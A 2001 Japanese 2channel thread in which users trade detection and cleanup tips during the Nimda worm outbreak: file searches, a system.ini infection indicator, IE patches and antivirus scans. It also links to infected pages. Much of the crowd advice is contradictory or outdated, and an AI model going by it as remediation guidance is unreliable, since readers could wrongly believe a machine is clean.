んでSP2落として実行しても前回のセットアップが完了
してないから再起動しろって出るよ。

Win2000でIE5.01 SP1

>>219
bingo!

>>222
ヘルプ→バージョン情報
見れ。

>>206
　ウイルスには他のファイルなどを変質させて複製を潜伏させる物が多い(つうかほとんど)から
実行されたらそれを消しただけで復帰と言うことはまずないと思われる。
　実行していないなら早急に削除してなかったことにするとよろし

>>190
それでなにかヒットしたら感染してるって事？

アホ >>225

readme.emlの中身を適当なアプリに替えて
別マシンのIEで表示したら自動的に起動したよ。
それどころか左側のプレビューに表示された時点で実行された。コワイコワイ。

>>204情報ありがとうございます。
　そうか、落ち着くまで2ちゃん以外はいかないことにします。
　msnﾒｯｾにつないだのは今さっき、一応何事も起こってないもよう。
　友達は思い切り感染。

>>228
林檎の人は手が空いていたら片っ端からWindowsユーザに周知してくれ。
被害をできる限り早く食い止めるために。

ただ、そのときあまり角の立った知らせ方をしないようにね(^^;

>>191
ｸﾞﾘ森事件の時の不二家犯行説に似てる（ワラ

タリバンすげえ。マジ凄いよ

消したけどまだ不安・・・他にやることってあるのかな。

１ＭＳＮにいかない

身に覚えがないのファイルは
「実行しますか？」ときかれても「いいえ」クリックする。
（これで最悪の事態は間一発で回避できた。）

インターネットエクスプローラ5.5サービスパック２をインストール。

これってタリバンなのかなー。

>>216
　まだ感染していなければそれでOK

>235
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS01-020
やっぱこれ？

わりと最近ＭＳＮ逝ったんだけどうちのは大丈夫だったらしい。
ワカンタンカの恵みあれ。

ttp://www.stride.co.jp/~z32/cgi-bin/worm.cgi

感染したリストらしい。

スタートメニュー→検索→ファイルやフォルダを選び、
名前の項目に以下を一行ずつ入力して検索してみる。

*.eml
readme.exe
MEP51B3.TMP.EXE

これで感染の有無がとりあえず判断できる。

けっこうマトモなスレだな

＊＊＊クライアント側の対処＊＊＊

ブラウザ 対処方法
１．IE5.0 IE5.01SP2以上へのアップデート
２．IE5.01,IE5.5 SP2の導入またはIE6.0の導入

上記作業は http://windowsupdate.microsoft.com/?IE で行う。

共通
３．ウィルスチェックソフトのパターンファイル更新
（NortonAntivirus2001で9/19にパターン更新すれば発見可能）


＊＊＊サーバ側の対処＊＊＊
１． MS社のセキュリティパッチ導入
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-078
２．ウィルスチェックソフトのパターンファイル更新


＊＊＊最低限の常識＊＊＊
１．見知らぬファイルのダウンロードや実行は行わない



参考情報
symantec社 http://www.symantec.com/region/jp/sarcj/data/w/[email protected]
MS社 http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-078

>>237
了解でやんす。
前スレも読んで、勉強してから啓蒙活動に移ります

IE 5.01 SP1で
*.emi や readme.exe
は検索で出てこなかったんですけど

感染したサイトにいった直後エクスプローラーが落ちました
SP2を実行しても前回のセットアップが完了していない
と言われてアップデート出来ないです。
これは感染してるんでしょうか？

ネスケでよかったよ・・・

>>219
　感染済みなら削除しても潜伏の可能性があるので、回線カットして
バックアップから入れなおしか、ワクチンが出るまで我慢するかしないと
被害拡大の手伝いをすることになりうるよ

>>246
それは感染したサイトのほんの一部でしょう。ヽ(´ー｀)ノ

*.emlで検索したら、このスレのログが出てきた（苦笑）

>>221
いやー一応目でも各項目を確認しといたほうが安心しない？
セキュリティ高で各項目がどう設定されてるかなんて一々覚えてないし。
なんかセキュリティのレベルを書き換えちゃうウィルスとかもあったし・・

>>243
たぶん未感染なので大丈夫かな。普段スクリプトオフだし。たぶん。ありがとお。

感染確認って
http://www.trendmicro.co.jp/hcall/scan.htm
でいいのでは？
もう認識しますよ・・・

>>195
ありがとう
なんかだんだん増えてきた・・・

>>220
ソースでヒットしてるわけじゃないのでは？

>>251
検索で探す場所をローカルハードドライブにしてある？

バージョンは、、、５．０とある
じゃ大丈夫なんだろうか

ウイルスバスターで大丈夫？
今朝、アップデートしたばかりなんだけど・・・

>>251
それってIEの最新バージョンを入れようとしてセットアップに失敗してない？
一部のDLLとかがIEの最新バージョンになっていて、不整合状態になっていると思う。

>>250
感謝。どなたかは知らぬが親切心に頭が下がる思いです。

え、俺5.01sp2入れちゃったよ。
それじゃダメなの？
5.5だとうちのパソと相性悪くてエラーでまくりなんだよね。

>>264
5.5でこけるのってどう言う不具合が出るのさ？

>>264
OKよ。
http://help.msn.co.jp/notice.htm

感染している人数って

なんのことやらさっぱりわからないです・・・
一応言われたのをダウンロードしに行くといったんだけど
一応なんでもOKとしていたらダウンロードに１２時間てでて
キャンセルしてきました（T∀T) 電話線つかってるし・・・
こんな私はまず何をすればよいのでしょう。
今使っているのはバージョン４とヘルプで見てなっていました。
みなさんよろしくお願いします・・・

昨日見逃した方へ。ヽ(´ー｀)ノ

ここも感染してました。
http://www2.makani.to/akutoku/upload/dat/1000866771.gif

みなさん、ありがとうございました。
おかげさまでＩＥ5.5　ＳＰ２をＤＬしました。

これからも速報板にはお世話になります。
では、よろしくお願いします！

教えて下さい。
とりあえずアップデートでセキュリティ問題の修正プログラムというのを
ダウンロードしてる最中なんですがこれでいいのですか。
最初ダウンロート残り時間が３８分でしたが、４８、１時間１８分と
増えていきます。
不安です。
初心者なんです、よろしくお願いします。

すまねえ
ドシロートなんだがＩＥ５．５のＳＰ２をダウンロードすると途中の「タスクスケジューラの署名を確認しています」のところまでいくと「ファイルをダウンロードできないからもう一度やりなおせ」みたいなメッセージが何度やっても出て来て、最後までいかないんだけど・・
何故か？

>>263
とりあえず、おとなしく2ちゃんでも見ておきなさい…
で、あやしげなURL、特に、
「ここのサーバーも感染してるよ！http://www.XXXXXX~~/」
なんてのはクリックしないこと。

ファイアウォール入れてるけど、大丈夫？

あいた・・・直リンはダメなのね。

ttp://www2.makani.to/akutoku/upload/

一番上。

IE5.5入れるとモナーがズレルでしょ

Readme.exe2個検出・・・（汗）
\windows\option\printia\xj-800とかいう所にまとめてあった

>>116でIE6(体験版じゃないやつ)出てるの知った。
色々勉強にもなった。速報板って2chの華。多謝多謝。

　ログの速度見ると、とりあえずパニックは収束したかな？
　あとはこのウイルスが他のファイルへの潜伏性を持つかに
かかっているって所か

>>268
パソコン雑誌付属のＣＤで組み込むっていうのはどう？

感染した場合の具体的被害はどのようなものなのでしょうか？

トレンドマイクロ

http://www.trendmicro.co.jp/

もし感染してたら readme.exe と readme.eml を
削除するだけでいいの？

*.eml で検索したけれど、古いファイルが10個くらい。
readme.exe も、readme.eml もないけど。
eml という拡張子のファイルがあるだけで、感染してるってこと？

上で言われてる検索はクリア。
朝この事知って速攻でＩＥ5.5ＳＰ2に更新。

これでＯＫ？

わからなくて、何度も失敗しつつも
何とかＳＰ２に更新できました。
そのあと、アイコンに「インターネットに接続」って、
加わってたんだけど、それも何か操作しなければいけませんか？

>>279
あまり気にしてない奴が多いからだと思われ

>>280
パソコン雑誌付属のCDですか。
どんな本についていますか？
本当に初心者で・・・

サイバーテロかよ

来た！！！！！！！！！！！！！！！！！！！
いま、いろいろまわってたら、
ヘンなモンをダウンロードしますか？って出てきた！
SP2入れたのに！！！！！！！！！！！！！

ダウンロードサイト「ふりっぽ」でした（たぶん）。

恐い！SP2入れただけじゃダメなん？

>284
感染してる可能性があるってだけ。
オンラインスキャンかなんかでそのファイルを検査するべき。

>>268
とりあえず雑誌の付録や店頭のプロバイダ販促用CD-ROMをゲットしてきて、
IE5.01SP2かIE5.5SP2にすることを勧める。

>>271
たぶんダウンロード速度が遅いのでしょう。そのまま待つか、
電話回線のように課金が気になるのならIE5.01SP2 or IE5.5SP2
だけインストールしておくと良い。

>272
タスクスケジューラは今回のワームには影響を与えないはずなので、
とりあえず必要はないと思う。

>>285 SP2になったのに、なんかヘンなのが出てくるよぉ！
恐いっす！

厨質でｽﾏｿ

IE6ダウンロードしようとすると、クックタイム（？）が壊れた（破れた）
みたいな表示が出てダウンロードできない……
説明書見たが載ってない。困った。

>>ttp://www.stride.co.jp/~z32/cgi-bin/worm.cgi
ここリアルタイムで収集してるんだそうだ。

>>290
いや、だから、SP2入れてないとそれすら出ずにﾀﾞｳｿ&実行されちゃうのよ。

>>291
ありがとう。

>>290
ふりっぽ感染してますね。。。。(;´Д｀)

javaスクリプトのセキュリティーですが、
無効にすればいいのでしょうか？

>294
ActiveXをオフにしてない？

誰か駆除の方法教えてくれ〜

proxomitron入れてると少しは役に立つ？

セキュリティーレベルは高いにしました。
ウィン2000です。

>>290
そこで「いいえ」or「キャンセル」を選ぶだけでよい。

スマヌが誰か纏めて欲しいなり
・ウイルスに感染した際におこる症状
・感染を防ぐ為の対処方
・感染を確認する方法
・感染した際の治療方法

他力本願(ﾟдﾟ)ｳﾏｰ

誰かスーパー初心者に分かるように説明して下さい。お願いします。

駆除の方法って事は鬱ってしまったのか？>>301

あーもうっ、何度見てもＳＰ２をプレステ２って読んじまう。

＊＊＊クライアント側の対処＊＊＊
ブラウザ 対処方法
１．IE5.0 IE5.01SP2以上へのアップデート
２．IE5.01,IE5.5 SP2の導入またはIE6.0の導入

上記作業は http://windowsupdate.microsoft.com/?IE で行う。

共通
３．ウィルスチェックソフトのパターンファイル更新
（NortonAntivirus2001で9/19にパターン更新すれば発見可能）

＊＊＊サーバ側の対処＊＊＊
１． MS社のセキュリティパッチ導入
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-078
２．ウィルスチェックソフトのパターンファイル更新


＊＊＊最低限の常識＊＊＊
１．見知らぬファイルのダウンロードや実行は行わない

＊＊＊感染チェック＊＊＊
１．9/19以降にパターンファイルを更新したNortonAntivirus2001でチェック
　　→readme.exe, readme.emlの感染チェック可能
２．トレンドマイクロのオンラインスキャン実行
http://www.trendmicro.co.jp/hcall/scan.htm
　　→readme.exeの感染チェック可能

参考情報
symantec社 http://www.symantec.com/region/jp/sarcj/data/w/[email protected]
MS社 http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-078

なんか、わかんない…。
一応、更新したけど、不安。
会社のＰＣだから、まーいいか。

>>305
http://www.symantec.co.jp/region/jp/sarcj/data/w/[email protected]
のテクニカルノート見れ

>305
感染する可能性のあるOSとブラウザも追加キボー

ココ読んで、ＩＥ5.5ｓｐ２をＤＬした。
その後、すぐに、
*.eml
readme.exe
MEP51B3.TMP.EXE
を検索。結果、何もなし。
とりあえず、安心。
教えてくれた人、ありがとう。

ハードディスク検索して*.emlがなかったら、
今のところは感染してないってことでいいんですか？

>>305
http://www.symantec.co.jp/region/jp/sarcj/data/w/[email protected]

>>306
感染しているかどうかを調べるにはウイルスチェックのソフトウエア。
もちろんそれぞれのソフトでパターンファイルを最新のモノに更新するように。
駆除できたり、感染していない場合は、IEを最新版に（できればIE6に）バージョンアップ。

かちゅ〜しゃ便利なんでここんとこWindows中心に使ってだけど、やっぱMacに戻るわ俺・・・
なんでこういう自体になるのか。呆れて開いた口がふさがらん。

馬鹿ＩＭめ。事態だ。

サイバーテロだ

>>306
IEのヴァージョンが5.01以下だと、ウィルスに感染したWEBサイトを見る
だけで、感染しちゃうらしい。Windows Update で、IEの5.5 SP2 をDLする。
その前に、感染してないかどうか、PCの「ファイル検索」で、*eml、
readme.exe を検索してみたほうがいい。…と私も初心者だけど、こう
理解しました。あってるのかな…。

IE6で感染サイトにいってみたけど、どこもやたら重い。
あと、「オーディオまたはビデオのリンクがクリックされました〜（略）
項目を再生しますか？」というメッセージが出て、いいえを選んでも
何故かメディアプレーヤーが立ち上がるんだけど・・・これは何？
あと、*.emlでHD検索したらTemporaryInternetフォルダにreadme[1].emlって
のが3つほど入ってた（日付・時間はちょうど感染サイトを覗いた時間）。

>>302
対策フィルタが掲示板に出た。
ただし応急措置だそうで、ブラウザのアップデートはしたほうがいいと思う。

>>314
system.iniに
Shell= explorer.exe load.exe -dontrunold
が無いかをチェックする方が確実かな。。。

マカなんだけど。hotmailで
感染サイトに「感染の連絡」を入れても
平気ですか？２次感染とかならないですか？

感謝！！！！

>>323
メールだけなら問題ない。

ページを表示できません

ＤＬ出来ないっす（ＴＴ
Ｗｉｎ2000なんですが・・

5.5SP2より6.0の方がやっぱり安心なの?

まだまだ収束してないねー。
ここ http://www.stride.co.jp/~z32/cgi-bin/worm.cgi 見ると
増えてるよ。1分に1つぐらいづつ

>>307
俺は鬱っちゃいないけど
鬱っちゃった人にどうアドバイスしてあげれば
いいのかわかんなくて･･･

>>320
それがウイルスの実体。実行しなければ良い。
心配ならウイルスチェック。

>>300さま

ActiveX？？
エクスプローラーの検索、コントロールパネルの画面
などで探したのですが見つかりません。
アクティブデスクトップは「Webページで表示」にチェックが入ってます。

>>260
ローカルハードドライブで検索しても
出てこなかったです。
>>263
とりあえず再起動したらSP2当てれるようになりました。
うーーん感染してたんかいな。

ttp://61.74.166.11/が総元締めか？ここも感染してるみたいだけど。
fuck USA Governmentとのこと。
contact:[email protected] ということで犯人は中国人？

>>322
なかったー、ありがとう。

ところで、win98で鬱った人いるの？

>>332
> とりあえず再起動したらSP2当てれるようになりました
いや、単に再起動しないと置き換えることが出来ないファイルがあっただけ。
Windowsの標準的な振る舞いなんで、ウイルスの感染とは無関係だよ。

>>330
おまえ、何さっきからでしゃばってんの？
だれ？単なるWin厨？

ファイルサイズはいくらですか？

>>331

インターネットオプションのセキュリティ（インターネット）を中に。
この設定自体あんましよくないんだけど
更新終わったら高にしたほがいいかも。

やれやれ、なにもしらない馬鹿がハッカー気取りでいうなよ。
わざわざ追跡されるようなへまはしねえよ。

>>320
南無・・・。

>>331
ActiveXは、「インターネットオプション」のセキュリティのところに
設定があるよ。

インターネットオプションのセキュリティ（インターネット）を高にしたらクッキーをうけつけるにしないと２chに書き込みできな。

なんかかちゅ〜しゃが重くなってきた
２ｃｈ大丈夫か？

W32.Nimda.A@mm、とりあえずの対策（気休め）
http://keisui.com/GIGAZINE/cgi-bin/news/html/lg/000321.htm

・対処法
現在のところ不明。
感染ファイルを削除しても、既に正当なWindows DLLとRICHED20.DLLを置き換えているのでムダ。
また、感染後にIE5.5SP2などにしても意味なし。

・感染している場合
レジストリの
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
以下にある実行ファイルに感染している。
↑
そうなのか？！

試しに、使っていないPCに感染させてみよう。

やられ始めると。

mep????.tmp

に変化するみたいよ。

ネタ元
http://www.trendmicro.co.jp/virusinfo/nimda.htm

>>345
サンクス。
やっぱ感染したら再インストールしかないのか･･･

>>337
まぁ、何とでも言ってくれ。

>>330
御教授、ありがとうございます。早速インターネット一時ファイルを
削除して消しときました。

昨晩ホットメールからサインアウトしたところmsnに強制転送され当該ファイルをダウンロードされました。
ZONEALARMに引っ掛かって確認したときには同じようなファイルが２つ・・。
ゴミ箱送りにしておきましたが、コイツだったとは・・
会社でこの件を知りましたが、帰ってPC見るのが欝だ。
>>335
win98は感染しないんですか？

>>337
なにからんでるの？ 親切に教えてくれてる人じゃない。

>>337
>>340
ﾏｧﾏｧﾐﾝﾅ､ﾏﾀｰﾘｼﾖｳﾖ

対策
1.IE5.01とIE5.5はSP2以外無条件でDL実行してしまうので、感染前ならアップデートする
2.それでもダイアログは開くので、覚えのないファイルはDLしない。
3.ツール→インターネットオプション→セキュリティ→レベルのカスタマイズ
　→java関連とダウンロードのファイルのダウンロードを不許可。

現在わかっている影響
1.メールによるウイルスファイルの頒布
2.WEBコンテンツ閲覧時にそのサーバにウイルスパケットを送り攻撃、感染する。
3.バックドアを開き、クライアントを丸裸にする。
4.大量の*.emlファイルを量産する。

もしかしたら他のファイルに潜伏するかもしれない。

感染の有無の確認
『*.eml』『readme.exe』『MEP51B3.TMP.EXE』の検索でHIT

感染時の対応
　感染してしまった後は、アップデートしても無意味。
　とりあえず検索で引っかかったファイルを削除した後、感染を拡大しないように
ウイルス対応ソフトのHP以外には行かず、ワクチンが出来るまで他のWEBコンテン
ツを回らない。

　ワクチンで鍛代とかの情報など、追加のフォロー宜しく！＞ALL

>>353
その名前で言うな（w

>>344いや2chはいたって普通
お前のパソコン大丈夫か？

マイクロソフトの最悪バージョンUPを嫌ったユーザーを狙って最悪なテロ行為。

激しい憤りを感じます。

で、２ｃｈは大丈夫なんだろーな？

中国のシンセンからのメールにくっ付いてきやがった！！！

>>354
＞感染の有無の確認
＞『*.eml』『readme.exe』『MEP51B3.TMP.EXE』の検索でHIT

　有るだけで感染？
　実行してなくても？

>>339さま
>>342さま

たびたびすみません。
セキュリティの設定を調べてみました。
ActiveX関連はすべて「有効」
セキュリティレベルは「中」
となってました。感染以外の話題ですみませんです。

ちなみにネスケは奴ら自らスパイウェア仕込んでたた前科があるから
まったく信用できねえ。
ＭＳもワードに仕込んでたから信用できねえ。
結局、どいつもこいつも信用できねえ。

Meについてるシステムの復元＋感染ファイル削除とかでは無理かな・・・
実験したいがマシンがない（汗

>>354
この部分も追加した方が良いんじゃないか？

ウィルス感染したメールを受信したとき、readme.exe はwav（音声）ファイルになりすましています。
感染したPCはCドライブをネットワーク共有する

うちの会社のサーバーに感染しちゃってるYO!

mep????.tmp
に変化するみたいだから、いちお
mep
でも検索した方が良いよ。

>>358
２ちゃんねるはIISではないんで無関係。

考えてみりゃ、msnなんて半年以上も見てなかったよ。
どうせだから、5.5sp2から6にしといた。

msn、オリコをはじめとする多数のwebが改竄、感染の踏み台にされる(2001.9.19)
https://www.netsecurity.ne.jp/article/9/2842.html

◆◆◆　　さらに追加情報　◆◆◆
このウイルスはLANの共有フォルダを使っても自己増殖ワーム行為を
するそうです。

社内に一人でも対策してないひとがいてノーパスとかにしていた場合
わりとパニックになります　つーか　かなり。

◆　いろいろ終わり　◆

誰か教えて。
emlって拡張子のやつがあったら、
感染してる可能性あるの？
2つあったんだけど・・・

>>352
てきとーなWin厨知識を振りかざしてるだけ。
な、Winから入った管理者気取り、な。

ＩＥ５.０から
５.０１ＳＰ２ｏｒ５.５ＳＰ２のどちらにバージョンＵＰすれば
良いのか教えてください。
どっちでもよいのかな？

>>371
ただのOEのファイルでもあるからなんともいえんけど。
他のチェック項目調べてみたら？

なんかしらんが強烈な勢いでアタックかけられてるんだが・・・。

近所にＣＤ付属のＰＣ本おいてるトコ無かったし
アップデートもあと６時間以上も掛かるし・・・
２ｃｈ以外は行かないでおこう(TДT)

>>373
５.５ＳＰ２をダウソ

>>372
ま、そう思うならそれでもいいけど。

>>373
どっちでも可。好きな方をどうぞ。

>>370
まじで！？おもしろいことになってきたなオイ

>>372
よくわかんないや、、、、あなたの方がカリカリしすぎ

>>371
日付を見て古かったら問題ないと思うけど

!

初心者が思う疑問
大変な事態だと思うのに、
・スレのスピードが遅い
・ニュースでやってない（いいとも見てるからかw）

>>376
ネスケという選択

>>383
マスコミにコレが大変な事態だと認識できる人はほとんどおりません。

>370=>378

あんたかっこいい。無駄口利くヤツのがどーみても厨房。嫉妬だろ？

emlってHTML形式のメールの拡張子だから、
例え見つかったとしても、それが以前に自分の書いた
見覚えのあるメールだったら、それはウイルスではないよ。
一応、保存しておく理由がなければ消去しておいたほうが安心だけど

IE6って使いやすくなってるん？

みんなまだ知らないのかな
会社とかでは騒ぎになってるのだろうか？

このウイルスってどうやって広がってるの（WEBで）
メールとかで広がってくのは理屈が分かるけど
WEB見ただけで感染して、その感染した人がメール送っても感染?
ネット上でかってに自己繁殖ってどういう事さ･･･。
感染した人がHPの更新とかしたら、もうそのHPはウイルス元って事？
色々調べたいけど、感染するのコワイから
今日だけ教えてちゃんを許して････。

>>378
SPとか、俺にはさっぱりわからん。
ばっかじゃないのか？
Winを使ってるやつがいるから、CodeBlueもNimda
もこんな事態になるんだよ、、、
こちとらいい迷惑だよ。ログは増大するは通信速度は
低下するわ。
氏ね　M$信者

>>383
朝のニュースでやってたよ。
ネットワークセキュリティ関連の株があがってるよ！

モナー板を頻繁に見るなら５、０だね

eml≠HTML形式メイルだYO!

>390
前スレから読むニダ

Nimda はどうも、 ADMIN を逆から読んだもののようですね。

関係ない話で悪いのですが、
IE5.5 SP2についてくるインターネットツールって何ですか？

親切にＳＰ２挿れてあげたらＰＣ動かなくなった。鬱だ

>>384
ネスケってＭａｃ専用じゃなかったの!?

>>392
今日はみんな上がってるんだYO

IE６って見た目はWINDOWS−XPちっくなの？

まだ、けっこう知らない人が多いみたいだから、あちこちの大きな
サイトのBBSで、みんなにも教えてあげようよ

教えて君になってしまった・・・
検索してきます＜ネスケ

>>369 のページどうでもいいけど、スクリプトそのまま書くなっつーの。

"改竄されたページには、下記のスクリプトが埋め込まれている。
「　」"
表示されてないやん。

>>290
「ふりっぽ」やられてるんだ！！
「ダウンロードしますか？」ダイアログを
キャンセルしてもreadme.exeとreadme.emlはできてるよ。

とりあえず「スタート」→「ファイルやフォルダの検索」で、
readme.exeと*.eml　探して、
見つけ次第削除。
あとさっき教えてもらったんだけど、
「temporary internet files」に残ってるやつも抹殺。

>>390
CodeRedみたいなもんです。
バグを突いて感染。

トレンドマイクロのオンラインスキャンのページ、やたら重い・・・

>>404
面白い

状況報告ver1.01(前編)
対策
1.IE5.01とIE5.5はSP2以外無条件でDL実行してしまうので、感染前ならアップデートする
2.それでもダイアログは開くので、覚えのないファイルはDLしない。
3.ツール→インターネットオプション→セキュリティ→レベルのカスタマイズ
　→java関連とダウンロードのファイルのダウンロードを不許可。

現在わかっている影響
1.メールによるウイルスファイルの頒布
2.WEBコンテンツ閲覧時にそのサーバにウイルスパケットを送り攻撃、感染する。
3.バックドアを開き、クライアントを丸裸にする。
4.大量の*.emlファイルを量産する。
5.感染したPCはCドライブをネットワーク共有する。
もしかしたら他のファイルに潜伏するかもしれない。

メールによる接触時
ウィルス感染したメールを受信したとき、readme.exe はwav（音声）ファイルになりすます。

状況報告ver1.01(後編)
感染の有無の確認
1.『*.eml』『readme.exe』『MEP51B3.TMP.EXE』の検索でHIT
　*.emlが大量にHITした際は確定。
　ただし、それが以前に自分の書いた見覚えのあるメールだったら、
　それはウイルスではない。
　そうでないときは後者2個を削除して様子を見る。
2.『mep』で検索した際に『mep????.tmp』がHITする。


感染時の対応
　感染してしまった後は、アップデートしても無意味。
　とりあえず検索で引っかかったファイルを削除した後、感染を拡大しないように
ウイルス対応ソフトのHP以外には行かず、ワクチンが出来るまで他のWEBコンテン
ツを回らない。

　ワクチンできたよとかの情報など、追加のフォローさらに宜しく！＞ALL

IE6にしたら、リロードの度にいちいちお気に入り欄も反応するけど。
俺だけ？

今回の件てMSNがハッキングされたってことなの？

今、このこと全く知らずに
ＭＳＮ見てるヤツがいるんだけど、
見てても大丈夫なの？
すげー、嫌いなヤツだから、
話しかけずに、ほっといてるけど。

今日、ここ見てなかったら確実に感染シテタヨ。
みんな、アリガト。

ADMIN.dllってファイルを各ドライブに作られましたが、私だけ？

今日、ここ見てなかったら確実に感染シテタヨ。
みんな、アリガト。

>>399
あ、あのう、、、、WIN版もありますよ、、

今さっきウィルスの事知ったんですが、スタート→検索で*.emlを検索して
引っかからなければセーフって事ですか？

ＩＥ5.5ｓｐ2って、なんだかテンポが違うな。
早いのか遅いのかわからんｗ

>>412
ＭＳＮも例外ではなかった、ってところかと。
特定のどこかがターゲットと言うわけではないでしょう。
まさに同時多発テロ。

SP2を入れようよしたら7204Kまでいって必ず失敗するんですけど・・・なんで？

今日、ここ見てなかったら確実に感染シテタヨ。
みんな、アリガト。

ｳｲﾙｽｽｷｬﾝ､一時間もかかった・・・

オンラインスキャンしてたらPC落ちた（ｳﾄｩ

>>413
そいつ経由で自分のとこ回ってくるぞ。

>>419
禿げ同。

IE6に変えたら動きが重くなった気がする

昨日、ここ見てたら確実に感染タヨ。
みんな、直リンアリガト。
殺すぞ

そっかメールアドレス知ってる人にはこの事教えてあげたほうがいいんだな

>>411
俺も

まえｽﾚ読もうとしたら玉三郎でバビッタよ。
今からじっくり読んでまた来る。

我が社では、普段は玩具扱いのiMacが、一番輝いております！！

>>429
自分に感染してないことよーく確認してからね。

>>366
>>360ではヒットしなかったんだけど、mepは７出た。

>>420
「同時多発テロ」
、、、確かに

自分はマックなので心配ないそうですが、友人のほとんどはWINなので、至急
この事を教えてあげたいのですが、ここのアドレスを友人達に送ったらいい
のですか？あと309をコピーしてやるとか。全然WINのことわからないので。

チェーンメールするな〜>>429

なんてかＭＳ信者なら
WindowsUpdateを一日一回は拝んでほしい
と思うのは私だけ？

さっきから１００回以上変なアクセスがｗ

私も昨日今日、ここ見てなかったら確実に感染シテタヨ。
みんな、アリガト。
コピですまん。

>>435
強いて言うならばターゲットはＭＳに阿る者全てかもだ。

mep･･･354個･･･

>>430
俺のは重くはないんだけど（ケーブルテレビ）、
やっぱ、俺だけではないんだね。なんかウザイです・・

>>428
ワラタヨ

(断片的な情報を集めたのでまちがってたらごめんなさい。)
その1
●Nimdaについて(coderedとはちがうよーん。)
タイプ　 Worm
目標 IIS サーバーと Microsoft Outlook.
●感染
IIS web サーバー(自己増殖する)
IIS自身がかってにwormを送出しますので、
特に感染している方に隣接しているネットワークの方は感染の疑いあり。
NTと2000は要注意。
☆やばいサイト
やばいサイトをひらくこうとすると.eml
(outlook expressのemailファイル)ファイルをダウンロード
するかどうかきいてくる。これにワームがくっついてくる。
そのやばやばのREADME.EXEは添付されてても見えませんので。
それからこのファイルサイズは57344です。
☆98、95の方はひとまず安心という話
でも最新のパッチはあてときませう。
●症状
☆MAPIをつかって、README.EXE(ちなみにこれはみえない。)を送出する。
☆ファイルの書き換え。
(addmin.dll、riched20.dll. Riched20.dll,load.exe,
.HTM , .HTML ,レジストリ等)
☆システムのスローダウン
☆cドライブを共有フォルダとしてかってにオープンする。
つづく。

というかシェアからいったら、
「MS信者逝ってよし！」というより
「君もMac信者にならないか？」じゃないの。

>>436
http://www.symantec.co.jp/region/jp/sarcj/data/w/[email protected]
↑
このページをプリントして配達するべし

その2
●対処法
まだ感染されてない方。
下記にいってパッチを探し、あてませう。
http://www.microsoft.com/technet/security/bulletin/ms00-078.asp.
すでに感染された方。
下記にいってパッチを探し、あててみてください。
http://www.microsoft.com/technet/security/bulletin/MS01-020.asp
●予防
知識のないかたはやばいサイトにアクセスしないでください。
お大事に。。。
(断片的な情報を集めたのでまちがってたらごめんなさい。)

ＳＰ２に更新したら、
書き込んだあと、板にもどれなくなったんだけど。

>>379
うちの会社は、かなりの数のPCに、emlファイルがばら撒かれました。
サーバーが大変な事になってるみたい。

>>417
グーグルで在りかを突き止めました！

ネスケのＤＬ完了まであと５５分・・・ＳＰ２のあと６時間よりはマシかな(;´Д｀)

どなたかマジレス下さい…
心配で心臓痛くなってきた…

ＭＸやってて問題ない？

鯖重い。

>>448
俺はここ読んでsp2にして、どうせだから6にしたけど、
5.5sp2は異常なかったような感じだった。ちゃんと読めたし書けたよ。

以前、Macに乗り換えるはずだったんだけど、
Ｇ4･CUBEのおかげで今でもWindowsだよ（w

>>451
.emlだけではなんともいえないでしょ
アウトルックつかってるなら

ここの掲示板読んで上のお知らせ板からアップデートしたけど、
１０秒くらいでアップデートしたけどこれでいいの？
アップデートしたことないから、、、。
MSNが感染したってどういうことなの？セキュリティしっかりしてそうなのに。

新型ワーム「Nimda」、FBIが米同時多発テロとの関連性を捜査
http://pcweb.mycom.co.jp/news/2001/09/19/52.html

これが本当だとすると
改竄されたページ内で首相の顔に×がついてた日本は危ないかもわからんね

>>451

ログをちゃんと読め。

>>418
　潜伏期間もあるので『readme.exe』『MEP51B3.TMP.EXE』の検索も
実行して。
　あったら削除。
　削除したらあとは運を天に任せて『*.eml』が量産されないことを祈るのみ。

>>451
心配ならオンラインスキャンするなり
system.iniを見るなりすればいいのでは？

こんな緊急事態にNetBusでウチのPCに何度もアクセスしてくるｱﾎｩがいる・・・・

ううむ、帰ったら家のＰＣ全部チェックせねば。
ネスケ愛用の親は大丈夫だろうが、
ﾑｰｿ使用の漏れのＰＣの方を重点的にチェックしよう。
昨日の夜はろくに回ってないから大丈夫だとは思うが（；´д｀）

IE6なら大丈夫なのか。。。
先日アップしたばっかりだからでよかった。

ちッホワイトハウスは感染してねーかｗ

>>457
ほんとにした？
デスクトップのセットアップ実行した？

446さん、すいません。ありがとうございました。早速みんなに
メールします

IE5.00もダメか？

# 昼飯から復帰。

>>391
はいはい、ご苦労さん。
> SPとか、俺にはさっぱりわからん

サービスパック(SP)の意味がわからない時点で初心者だと思うぞ。
どんなOSを使っているか知らないけど、せっかくなのでIEでない
ブラウザを使っているとしてもウイルスチェックをしておいたほうが良いよ。

5.5のSP2って直にダウンできないの？
Windows updateは嫌い。
ってゆ〜か学校でSP2落とせば家で電話代かからないし。

ＩＥ５．０です。
昨日の晩、クラックされたどっかの大学のＨＰをエロサイト対策と
同じ装備で見に行ったんだけど、大丈夫だったよ。
半角板に感謝（藁

やっとIE5.5SP2に出来た、ふー
後は何したらいいですか？
試しに感染サイトにいってみようかな？

5.5のSP2って直にダウンできないの？
Windows updateは嫌い。
ってゆ〜か学校でSP2落とせば家で電話代かからないし。

こうして善意のチェーンメールが広まって更にネットが重くなるのか。
鬱だ。

>>466
こんなこと言うと煽られそうだけど、、、
デスクトップのセットアップって何？

ﾀﾞｳｿしたＩＥが別の新種ｳｨﾙｽに感染してねぇだろうな？

今回のウィルスは、下手するとメリッサやアイラブユーを超える感染力で、
世界的なネットワークのインフラそのものに甚大な影響を与えかねない。
にも関わらず、朝日も毎日も下らない「陰謀説」を記事にしてるだけで、
具体的な対応策を書かないのは何たることだ。

＞ふりっぽの利用者の皆さんへ
＞http://help.msn.co.jp/notice.htm
＞上記サイトのウイルスが感染している可能性があるため表示を一時停止しております。

ふりっぽさん気が付いたね。

(´ー｀)。ｏＯ（どうやって持って帰るんだろう）

ねぇねぇ>>370の追加情報はないの！？
せっかく眠いのに朝一で研究室いって対策してきたのに．
これがほんとだったらもうどうにもならんＹＯ！？
わかった，デマなんだな！？そうなんだな！？
もう寝ちゃうＹＯ！？

>475
